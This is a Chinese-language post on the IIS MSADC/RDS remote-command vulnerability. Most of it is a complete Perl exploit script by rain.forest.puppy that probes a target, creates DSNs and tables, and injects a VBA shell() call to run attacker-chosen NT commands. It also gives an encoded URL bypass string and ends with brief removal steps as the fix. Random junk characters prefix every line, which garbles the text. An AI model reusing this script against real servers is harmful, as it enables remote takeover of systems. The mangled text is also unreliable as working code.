IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
YbLW/ E\T q'11^V!0 涉及程序：
B1Oq!k Microsoft NT server
|'2d_vR BORA(, 描述：
L HmZxi? 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
<6=c,y C.QO#b 详细：
~;] d"' 如果你没有时间读详细内容的话，就删除:
5:U so{ c:\Program Files\Common Files\System\Msadc\msadcs.dll
Qci]i)s$js 有关的安全问题就没有了。
-{_PuJ " =":,.Ttq41 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
,2)6s\]/b !VK|u8i 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
&~w}_Fjk 关于利用ODBC远程漏洞的描述，请参看:
}&3 ~|kP~O q,6DE z http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm P
}uOJVQ_ $wU\Js`/S] 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
u2[w# http://www.microsoft.com/security/bulletins/MS99-025faq.asp A (0lM`X fn !KQ`,# 这里不再论述。
4`R(? _t XlF; 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
% %wNZ{ M@ZI\ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
9g?( BI^z 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
s9d_GhT%- ]9,; K;1< FG QzoS #将下面这段保存为txt文件，然后: "perl -x 文件名"
v9UD%@tZ #o2[hibq #!perl
~v"L!=~G;a #
m4yL@d,Yw # MSADC/RDS 'usage' (aka exploit) script
'%`:+]! #
fxIf|9Qi` # by rain.forest.puppy
sN wI 0o #
snikn& # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
i 3SHg\~Z # beta test and find errors!
2:= m#F`] { use Socket; use Getopt::Std;
&t-kpA|EG getopts("e:vd:h:XR", \%args);
ei{eTp4HpV f
V( J| print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
YnP5i#" cs'{5!i] if (!defined $args{h} && !defined $args{R}) {
4'Zp-k?5` print qq~
OU XR Usage: msadc.pl -h <host> { -d <delay> -X -v }
rXU\ -h <host> = host you want to scan (ip or domain)
as_PoCoss -d <seconds> = delay between calls, default 1 second
-PQv ?5 -X = dump Index Server path table, if available
BF <ikilR -v = verbose
{qMIGwu -e = external dictionary file for step 5
!? gKqx'T$ 2 Vrw Or a -R will resume a command session
1'\/,Es 6JQ'Ik;$wX ~; exit;}
O7IJ%_A& 8&aq/4:q0 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
J)C/u{o if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
K96<M);:g if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
(!N| Kl if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
JO< wU $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
?I@W:#>o if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
XSl GE9]AG bY0|N[ g if (!defined $args{R}){ $ret = &has_msadc;
o0 vUj die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
_ORvo{[: @|%2f@h print "Please type the NT commandline you want to run (cmd /c assumed):\n"
#lW`{i . "cmd /c ";
I
2|Bg,e $in=<STDIN>; chomp $in;
&JI8]JmU) $command="cmd /c " . $in ;
(J!+(H 8 Z)aUt
Srf if (defined $args{R}) {&load; exit;}
_f:W?$\ho ^ ovR7+V print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
H'hpEw G &try_btcustmr;
zI<<Q2 8pgEix/M5o print "\nStep 2: Trying to make our own DSN...";
I(0~n,=j &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
iW /}# ox (%5c)b| print "\nStep 3: Trying known DSNs...";
&IB |rw'9 &known_dsn;
{,~3.5u <3hRyG@ vB print "\nStep 4: Trying known .mdbs...";
igR";OQk &known_mdb;
% - 0t?/> )%@J=&G8TT if (defined $args{e}){
.h4 \Y A print "\nStep 5: Trying dictionary of DSN names...";
w: Kl6"c &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
q#=(e:aCb 5N&?KA- print "Sorry Charley...maybe next time?\n";
!=P1% exit;
s}% M4 P}7 'm
M ##############################################################################
W1=H8 O p"ZG%Ow5Q] sub sendraw { # ripped and modded from whisker
P(z+ +A& sleep($delay); # it's a DoS on the server! At least on mine...
1HZO9cXJ my ($pstr)=@_;
n#OB%@]<V socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
s + ?zL~t die("Socket problems\n");
pD#rnp>WWt if(connect(S,pack "SnA4x8",2,80,$target)){
[mGLcg6Fw select(S); $|=1;
K&K WN] print $pstr; my @in=<S>;
8eHyL select(STDOUT); close(S);
s6^ >F/x return @in;
}d}Ke_Q0 } else { die("Can't connect...\n"); }}
vTzlwK\#1 ,>mrPtxN ##############################################################################
^RtIh-Z.9 RuVGG) sub make_header { # make the HTTP request
<3C*Z"aQ>| my $msadc=<<EOT
^qD$z=z - POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
cq /$ N User-Agent: ACTIVEDATA
'u |c Host: $ip
FE|JHh$ Content-Length: $clen
@wNG{Stj Connection: Keep-Alive
6MMOf\
BeoDKdAwY ADCClientVersion:01.06
JHTSU q Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
o= "M zv,j M 0- --!ADM!ROX!YOUR!WORLD!
l3I:Q^x@ Content-Type: application/x-varg
u frL<]A Content-Length: $reqlen
pohp&Tcm }oGA-Qc }B EOT
y ~!Zg}o ; $msadc=~s/\n/\r\n/g;
'Xq| Kf ( return $msadc;}
X=fYWj[H, )e a>% ##############################################################################
+Kbjzh3<wG O*)Vhw'pK sub make_req { # make the RDS request
f5VLw`m}.8 my ($switch, $p1, $p2)=@_;
XXn67sF/ my $req=""; my $t1, $t2, $query, $dsn;
]a*d# ]R f [y if ($switch==1){ # this is the btcustmr.mdb query
nwRc%C``UK $query="Select * from Customers where City=" . make_shell();
V7f q4O^: $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
:: {Q1F $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
2?ez,*-[ UIN<2F_ elsif ($switch==2){ # this is general make table query
hAnP Xi D $query="create table AZZ (B int, C varchar(10))";
} .m< $dsn="$p1";}
YvyNHW& mQ 26K~ elsif ($switch==3){ # this is general exploit table query
=Q j{ T $query="select * from AZZ where C=" . make_shell();
V_}"+&W9 $dsn="$p1";}
;dZZ;#k% |AU~ _{H elsif ($switch==4){ # attempt to hork file info from index server
_
y8Wn}19f $query="select path from scope()";
'Nn z k $dsn="Provider=MSIDXS;";}
""F5z,' f=gW]x7'R+ elsif ($switch==5){ # bad query
.p ]RKS=(: $query="select";
k(7&N0V%zz $dsn="$p1";}
iYm-tsER; .P%bkD6M $t1= make_unicode($query);
YdC6k? tzS $t2= make_unicode($dsn);
Nk V K $req = "\x02\x00\x03\x00";
/,&<6c-Q@W $req.= "\x08\x00" . pack ("S1", length($t1));
=O_4|7Zl $req.= "\x00\x00" . $t1 ;
`l){!rg8IC $req.= "\x08\x00" . pack ("S1", length($t2));
KD7dye $req.= "\x00\x00" . $t2 ;
1.{z3_S21: $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
{|_M
# w~& return $req;}
wX5tp1 ?1J &L Zn
FR ##############################################################################
{xB!EQ" s.N/2F& *W sub make_shell { # this makes the shell() statement
Tc &z: return "'|shell(\"$command\")|'";}
zFw s:_ i I%X6T@P ##############################################################################
j2.|ln"! {Y=WW7:Qx sub make_unicode { # quick little function to convert to unicode
~{B7 k: my ($in)=@_; my $out;
+tIF
h' for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
>xYpNtEs return $out;}
m6&~Hf wN 2E/"hQ w ##############################################################################
l2rd9 -T #;q dY [v sub rdo_success { # checks for RDO return success (this is kludge)
lN?qp'%H` my (@in) = @_; my $base=content_start(@in);
lC("y'
:: if($in[$base]=~/multipart\/mixed/){
Yi+wC}
return 1 if( $in[$base+10]=~/^\x09\x00/ );}
`nv~NLkl return 0;}
OXSmt
DvJ 1;r|g)VM ##############################################################################
[-k m^f0V2M_ sub make_dsn { # this makes a DSN for us
?o4C; my @drives=("c","d","e","f");
2 %@4] print "\nMaking DSN: ";
Tx=-Bb~; foreach $drive (@drives) {
wb5baY9 print "$drive: ";
mD0f<gJ1 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
ith
3 =`3 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
B p`] . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
A8fOQ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
$i}y 8nlQ return 0 if $2 eq "404"; # not found/doesn't exist
RJ ||} 5 if($2 eq "200") {
aS{n8P6vW foreach $line (@results) {
;I 9&]
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
6YLj^w] % } return 0;}
5k3 b3& !&ayYu##{ ##############################################################################
n E& @Q 1 s2>C!\ sub verify_exists {
EQ yC1j my ($page)=@_;
RO VW s/ my @results=sendraw("GET $page HTTP/1.0\n\n");
z Rl3KjET return $results[0];}
'}JhzKNj k _qd | ##############################################################################
qL&[K>2z EC6DW= sub try_btcustmr {
DV+xg3\(>1 my @drives=("c","d","e","f");
ox>^>wR* my @dirs=("winnt","winnt35","winnt351","win","windows");
.TMs bZ|j ^aMg/.j foreach $dir (@dirs) {
g\(G\ tnu> print "$dir -> "; # fun status so you can see progress
4 \K7xM! foreach $drive (@drives) {
S)k*?dQ##R print "$drive: "; # ditto
*1
]uH e $reqlen=length( make_req(1,$drive,$dir) ) - 28;
3yY}04[9< $reqlenlen=length( "$reqlen" );
q J= ~Y|( $clen= 206 + $reqlenlen + $reqlen;
2*< nu><b +0%w ;'9z my @results=sendraw(make_header() . make_req(1,$drive,$dir));
HU }7z K2 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
_ Yx]_Y9I else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
YTX,cj#D^& kg~mgMR+w ##############################################################################
L9 \1+rq @ ZwvBH sub odbc_error {
G5RR]?@6V my (@in)=@_; my $base;
5C*Pd
Wpl my $base = content_start(@in);
t#/YN.@r if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
!t %j?\f $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
VT%NO'0 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/W30~y $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
:P\7iW return $in[$base+4].$in[$base+5].$in[$base+6];}
Ic:(Gi- % print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
,I$`-$_' print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
el<s8:lA $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
G<8/F<m/ gJXq^~-hd ##############################################################################
9ni1f {k SSg8}m5)Q sub verbose {
dA`IEQJL my ($in)=@_;
E7 Ul;d
return if !$verbose;
'&R2 U_ print STDOUT "\n$in\n";}
@= Uh', F i2A81>68< ##############################################################################
=:,g | y#
Jx sub save {
S8w _ii3zd my ($p1, $p2, $p3, $p4)=@_;
v
~?qz5:K~ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
>,Ci?[pf print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
x{8xW0 close OUT;}
' !cCMTj TnOggpQ6X ##############################################################################
qIE9$7*X 6V :U (g sub load {
HT cb_a my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
2 K6qY)/_ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
c|B('3h @p=<IN>; close(IN);
18 d4fR $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
o>i4CCU+ $target= inet_aton($ip) || die("inet_aton problems");
A5 RN5`} print "Resuming to $ip ...";
4*#18<u5 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
qI9z;_,gNz if($p[1]==1) {
K5VWt)Z # $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
m6K}|j $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
'$IKtM`L my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
_L UhZlw if (rdo_success(@results)){print "Success!\n";}
K.nHii else { print "failed\n"; verbose(odbc_error(@results));}}
,RI Gc US elsif ($p[1]==3){
Y>T-af49 if(run_query("$p[3]")){
I-)+bV
G print "Success!\n";} else { print "failed\n"; }}
4Zddw0|2 elsif ($p[1]==4){
m@F`!qY~Y\ if(run_query($drvst . "$p[3]")){
Y nS#H" print "Success!\n"; } else { print "failed\n"; }}
wn, KY$/ exit;}
DE8n+Rm #PW9:_BE ##############################################################################
oUr66a/[U 9@:2wR | sub create_table {
$q{!5-e my ($in)=@_;
J T7nG.9 $reqlen=length( make_req(2,$in,"") ) - 28;
G1tY) _-8[ $reqlenlen=length( "$reqlen" );
rjAn@!| :+ $clen= 206 + $reqlenlen + $reqlen;
T#Z^s~7&I my @results=sendraw(make_header() . make_req(2,$in,""));
o5O#vW2Il& return 1 if rdo_success(@results);
(k)v!O- my $temp= odbc_error(@results); verbose($temp);
w w3-^v return 1 if $temp=~/Table 'AZZ' already exists/;
9Cp-qA%t return 0;}
;_I8^? d S-b/ S5 ##############################################################################
EIAc@$4 M,,bf[p$ sub known_dsn {
SrJGTuXg # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
be Ga#JH, my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Rz/gtEP "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
P [ck84F/ "banner", "banners", "ads", "ADCDemo", "ADCTest");
P {jbl!UD7 {.|CdqwY foreach $dSn (@dsns) {
XS{Qnx_# print ".";
B eo@K|3GN next if (!is_access("DSN=$dSn"));
Tc:)-
z[o if(create_table("DSN=$dSn")){
P%VSAh\|n print "$dSn successful\n";
({)+3]x if(run_query("DSN=$dSn")){
mb3 "U"ohs print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
[;yOBF print "Something's borked. Use verbose next time\n";}}} print "\n";}
9};8?mucr $G+@_' ##############################################################################
EjR9JUu 5yo%$i8I sub is_access {
k FD; i my ($in)=@_;
~&{S<Wl $reqlen=length( make_req(5,$in,"") ) - 28;
'ya{9EdlT $reqlenlen=length( "$reqlen" );
lh7# t# $clen= 206 + $reqlenlen + $reqlen;
?4&e;83_#y my @results=sendraw(make_header() . make_req(5,$in,""));
(OL4Ex' ] my $temp= odbc_error(@results);
MK~ 8}x 2K verbose($temp); return 1 if ($temp=~/Microsoft Access/);
$6 9&O return 0;}
%E>Aw>] v wo/\]5 ##############################################################################
KC6.Fr{ [kB7@o sub run_query {
`25yE/ my ($in)=@_;
M h}m;NI $reqlen=length( make_req(3,$in,"") ) - 28;
gO- _ $reqlenlen=length( "$reqlen" );
pa3{8x{9m $clen= 206 + $reqlenlen + $reqlen;
OLGE !&!> my @results=sendraw(make_header() . make_req(3,$in,""));
7U"g3 a)= return 1 if rdo_success(@results);
itP,\k7>d my $temp= odbc_error(@results); verbose($temp);
*#|&JIEsi return 0;}
783,s_ p38-l'{# ##############################################################################
JR21>;l#2 HM1Fz\Sf sub known_mdb {
q~o<*W my @drives=("c","d","e","f","g");
:\c ^*K(9 my @dirs=("winnt","winnt35","winnt351","win","windows");
m? }6)\ob my $dir, $drive, $mdb;
a#k6&3m& my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
P |E| $)m 8q!]y 6 # this is sparse, because I don't know of many
1(R}tRR7 R my @sysmdbs=( "\\catroot\\icatalog.mdb",
ZvX*t)VjTz "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
E CuH%b^, "\\system32\\certmdb.mdb",
_6hQ %hv8 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
G j?t_Zln 'GWN~ 5 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
|aS.a&vwR "\\cfusion\\cfapps\\forums\\forums_.mdb",
b. '-?Nn "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
P3=G1=47U "\\cfusion\\cfapps\\security\\realm_.mdb",
RSRS wkC "\\cfusion\\cfapps\\security\\data\\realm.mdb",
3jU&zw9 "\\cfusion\\database\\cfexamples.mdb",
\?-<4B c@ "\\cfusion\\database\\cfsnippets.mdb",
Hzz %3}E "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
yx[/|nZDC4 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
'<)n8{3Q5w "\\cfusion\\brighttiger\\database\\cleam.mdb",
Q&tG4f< "\\cfusion\\database\\smpolicy.mdb",
8kIksy "\\cfusion\\database\cypress.mdb",
8/#A!Ww] "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Pmx -8w "\\website\\cgi-win\\dbsample.mdb",
)2o?#8J "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
h7oo7AP "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
JPHL#sKyz ); #these are just
+3BN } foreach $drive (@drives) {
J*A,o~U| foreach $dir (@dirs){
| YWD8 + foreach $mdb (@sysmdbs) {
u
c)eil print ".";
[|$h*YK if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
VCkq"f7c w print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
n( yn< if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Ll' t>) print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
YkSl^j[DHs } else { print "Something's borked. Use verbose next time\n"; }}}}}
+Kc CK@@HSm}l foreach $drive (@drives) {
$%d*@ 'c foreach $mdb (@mdbs) {
V f&zL
Sgr print ".";
FD
#8mg if(create_table($drv . $drive . $dir . $mdb)){
O0v}4 3J [ print "\n" . $drive . $dir . $mdb . " successful\n";
F/ {!tx if(run_query($drv . $drive . $dir . $mdb)){
b8t7 u print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
:3Ox~o } else { print "Something's borked. Use verbose next time\n"; }}}}
4p F*"B }
M|h3Wt~7 ;$| nrwhy ##############################################################################
\gaw6S>n} Wn2NMXK sub hork_idx {
^^$s%{ep" print "\nAttempting to dump Index Server tables...\n";
IEi^kJflU print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
U7F!Z(
9 $reqlen=length( make_req(4,"","") ) - 28;
9 0rol~M& $reqlenlen=length( "$reqlen" );
=UQ3HQD $clen= 206 + $reqlenlen + $reqlen;
\}b%E'+_T my @results=sendraw2(make_header() . make_req(4,"",""));
+ &Eqk if (rdo_success(@results)){
r l% my $max=@results; my $c; my %d;
2/^3WY1U for($c=19; $c<$max; $c++){
C,r;VyW6BI $results[$c]=~s/\x00//g;
*i%d,w0+ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
~36!?&eA8 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
d7upz]K9g $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
q|(HsLs $d{"$1$2"}="";}
g! |kp? foreach $c (keys %d){ print "$c\n"; }
;6$jf:2m } else {print "Index server doesn't seem to be installed.\n"; }}
KZE,bi: ~ rb.N~ ##############################################################################
n_A3#d<9 vk^xT sub dsn_dict {
n 7[V &`e_ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
?fSG'\h> while(<IN>){
S,UDezxg $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
b4kgFA
next if (!is_access("DSN=$dSn"));
CA~- rv if(create_table("DSN=$dSn")){
q<1 ~ vA9 print "$dSn successful\n";
73;GW 4, if(run_query("DSN=$dSn")){
_Fl9>C"u print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
7?_CcRe print "Something's borked. Use verbose next time\n";}}}
)ez9"# MH' print "\n"; close(IN);}
W|mo5qrLS2 m-, x<bM? ##############################################################################
P JH& 3]S$ih&A sub sendraw2 { # ripped and modded from whisker
gM: " .Ee sleep($delay); # it's a DoS on the server! At least on mine...
q 2E_ A my ($pstr)=@_;
f
;n3&e0eC socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Fx.=#bVX7 die("Socket problems\n");
#_p\Ie*rd if(connect(S,pack "SnA4x8",2,80,$target)){
sO@Tf\d print "Connected. Getting data";
zrb}_ open(OUT,">raw.out"); my @in;
NBGH_6DROw select(S); $|=1; print $pstr;
(jE9XxQY while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
6i/(5 nQ close(OUT); select(STDOUT); close(S); return @in;
R\[e!g*I } else { die("Can't connect...\n"); }}
XSLFPTDEc rey!{3U ##############################################################################
b>ySv $!t4r sub content_start { # this will take in the server headers
Km$\:Xo my (@in)=@_; my $c;
1yhDrpm for ($c=1;$c<500;$c++) {
Dl vz ) if($in[$c] =~/^\x0d\x0a/){
s$j,9uRr if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
| +9&rAg else { return $c+1; }}}
dy[X3jQB return -1;} # it should never get here actually
YT,{E,U; (4nq>;$3 ##############################################################################
ckCE1e>s Q =$2c[Uk sub funky {
J|7 3.&B my (@in)=@_; my $error=odbc_error(@in);
>h Iu2jm if($error=~/ADO could not find the specified provider/){
&};zvo~P. print "\nServer returned an ADO miscofiguration message\nAborting.\n";
+N U G exit;}
abVmk dP_s if($error=~/A Handler is required/){
eHUOU>&P] print "\nServer has custom handler filters (they most likely are patched)\n";
kAUymds;O exit;}
f!X[c?Xy" if($error=~/specified Handler has denied Access/){
!4+<<(B=E print "\nServer has custom handler filters (they most likely are patched)\n";
1 'Dai ` exit;}}
p!%pP}I OjA,]Gv6 ##############################################################################
CqC`8fD1 9\(|
D# sub has_msadc {
C3g_! dUs my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
VIf.q)_k my $base=content_start(@results);
;O,jUiQ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
hhvyf^o return 0;}
4*;MJ [| %?/X=}sE ########################
dWBA1p m1A J{cs {)<v&'*c~ 解决方案：
Ow ,b^| 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
*o ix 6 2、移除web 目录: /msadc
